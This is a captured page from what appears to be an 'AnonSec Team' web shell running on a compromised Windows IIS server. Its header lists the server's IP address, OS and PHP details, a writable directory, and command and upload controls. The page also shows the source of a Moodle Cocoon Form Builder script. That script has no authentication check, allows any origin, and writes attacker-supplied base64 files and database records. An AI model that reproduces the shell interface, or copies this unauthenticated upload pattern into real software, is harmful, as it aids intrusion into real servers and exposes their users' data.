AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 3.145.170.67
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/lms/local/cocoon_form_builder/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/lms/local/cocoon_form_builder/updateinsert.php
<?php

/**
 * Cocoon Form Builder integration for Moodle
 *
 * @package    cocoon_form_builder
 * @copyright  ©2021 Cocoon, XTRA Enterprises Ltd. createdbycocoon.com
 * @author     Cocoon
 */
 
header("Access-Control-Allow-Origin: *");
header('Content-Type: application/json');

require_once('../../config.php');
global $USER, $DB, $CFG;

$PAGE->set_url('/local/cocoon_form_builder/updateinsert.php');
$PAGE->set_context(context_system::instance());

$_RESTREQUEST = file_get_contents("php://input");
$_POST = json_decode($_RESTREQUEST, true);

$attachments = array();
if(isset($_POST['attachments']) && $_POST['attachments'] != '') {
	$allowedfileExtensions = array("image/png", "image/jpeg", "image/bmp", "image/vnd.microsoft.icon", "application/pdf", "application/msword",
																 "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "application/vnd.ms-excel",
																 "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
																 "application/vnd.ms-powerpoint", "application/vnd.openxmlformats-officedocument.presentationml.presentation",
																 "text/csv", "application/zip");

	foreach ($_POST['attachments'] as $key => $value) {
		define('UPLOAD_DIR', $CFG->dataroot);
		$image_parts = explode(";base64,", $value);
		if(count($image_parts) > 1) {
			$file_type_aux = explode(":", $image_parts[0]);
			$file_type = $file_type_aux[1];
			$image_base64 = base64_decode($image_parts[1]);

			$fileExtension = "";

			if((strpos($file_type, "image/png")) || ($file_type == "image/png")) {
				$fileExtension = "png";
			} elseif ((strpos($file_type, "image/jpeg")) || ($file_type == "image/jpeg")) {
				$fileExtension = "jpg";
			} elseif ((strpos($file_type, "image/bmp")) || ($file_type == "image/bmp")) {
				$fileExtension =  "bmp";
			} elseif ((strpos($file_type, "image/vnd.microsoft.icon")) || ($file_type == "image/vnd.microsoft.icon")) {
				$fileExtension =  "ico";
			} elseif ((strpos($file_type, "application/pdf")) || ($file_type == "application/pdf")) {
				$fileExtension = "pdf";
			} elseif ((strpos($file_type, "application/msword")) || ($file_type == "application/msword")) {
				$fileExtension = "doc";
			} elseif ((strpos($file_type, "application/vnd.openxmlformats-officedocument.wordprocessingml.document")) || ($file_type == "application/vnd.openxmlformats-officedocument.wordprocessingml.document")) {
				$fileExtension = "docx";
			} elseif ((strpos($file_type, "application/vnd.ms-excel")) || ($file_type == "application/vnd.ms-excel")) {
				$fileExtension = "xls";
			} elseif ((strpos($file_type, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")) || ($file_type == "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")) {
				$fileExtension = "xlsx";
			} elseif ((strpos($file_type, "application/vnd.ms-powerpoint")) || ($file_type == "application/vnd.ms-powerpoint")) {
				$fileExtension = "ppt";
			} elseif ((strpos($file_type, "application/vnd.openxmlformats-officedocument.presentationml.presentation")) || ($file_type == "application/vnd.openxmlformats-officedocument.presentationml.presentation")) {
				$fileExtension = "pptx";
			} elseif ((strpos($file_type, "text/csv")) || ($file_type == "text/csv")) {
				$fileExtension = "csv";
			} elseif ((strpos($file_type, "application/zip")) || ($file_type == "application/zip")) {
				$fileExtension = "zip";
			}

			$fileName = uniqid() . '.' . $fileExtension;
			$file = UPLOAD_DIR . "/" . $fileName;
			file_put_contents($file, $image_base64);

			$f = $file;
			// Read image path, convert to base64 encoding
			$fData = base64_encode(file_get_contents($file));

			// Format the image SRC:  data:{mime};base64,{data};
			$src = 'data: '.mime_content_type($f).';base64,'.$fData;

			$attachments[] = $src;
		} else {
			$attachments[] = $value;
		}
	}
}

$reply = new stdClass();
$reply->subject =  $_POST['email_subject'];
$reply->message =  $_POST['email_message'];
$reply->attachments = $attachments;


$obj = new stdClass();
$obj->title = $_POST['title'];
$obj->json = $_POST['json'];
$obj->data = json_encode($reply);
$obj->url = $_POST['url'];
$obj->confirm_message = $_POST['confirm_message'];
$obj->recipients = $_POST['recipients'];
$obj->status = $_POST['status'];
$obj->ajax = $_POST['ajax'];

if(empty(trim($_POST['title']))) {
	$sql = "SELECT `auto_increment` FROM INFORMATION_SCHEMA.TABLES WHERE table_name = '{cocoon_form_builder_forms}'";
	$form = $DB->get_records_sql($sql);
	$value = intval(array_values($form)[0]->auto_increment);
	$obj->title = "Form #" . $value;
}

if(isset($_POST['id']) && $_POST['id'] !== '') {
	$obj->id = $_POST['id'];
	$result = $DB->update_record('cocoon_form_builder_forms', $obj);
	echo $result;
} else {
	$result = $DB->insert_record('cocoon_form_builder_forms', $obj, true, false);
	echo $result;
}

AnonSec - 2021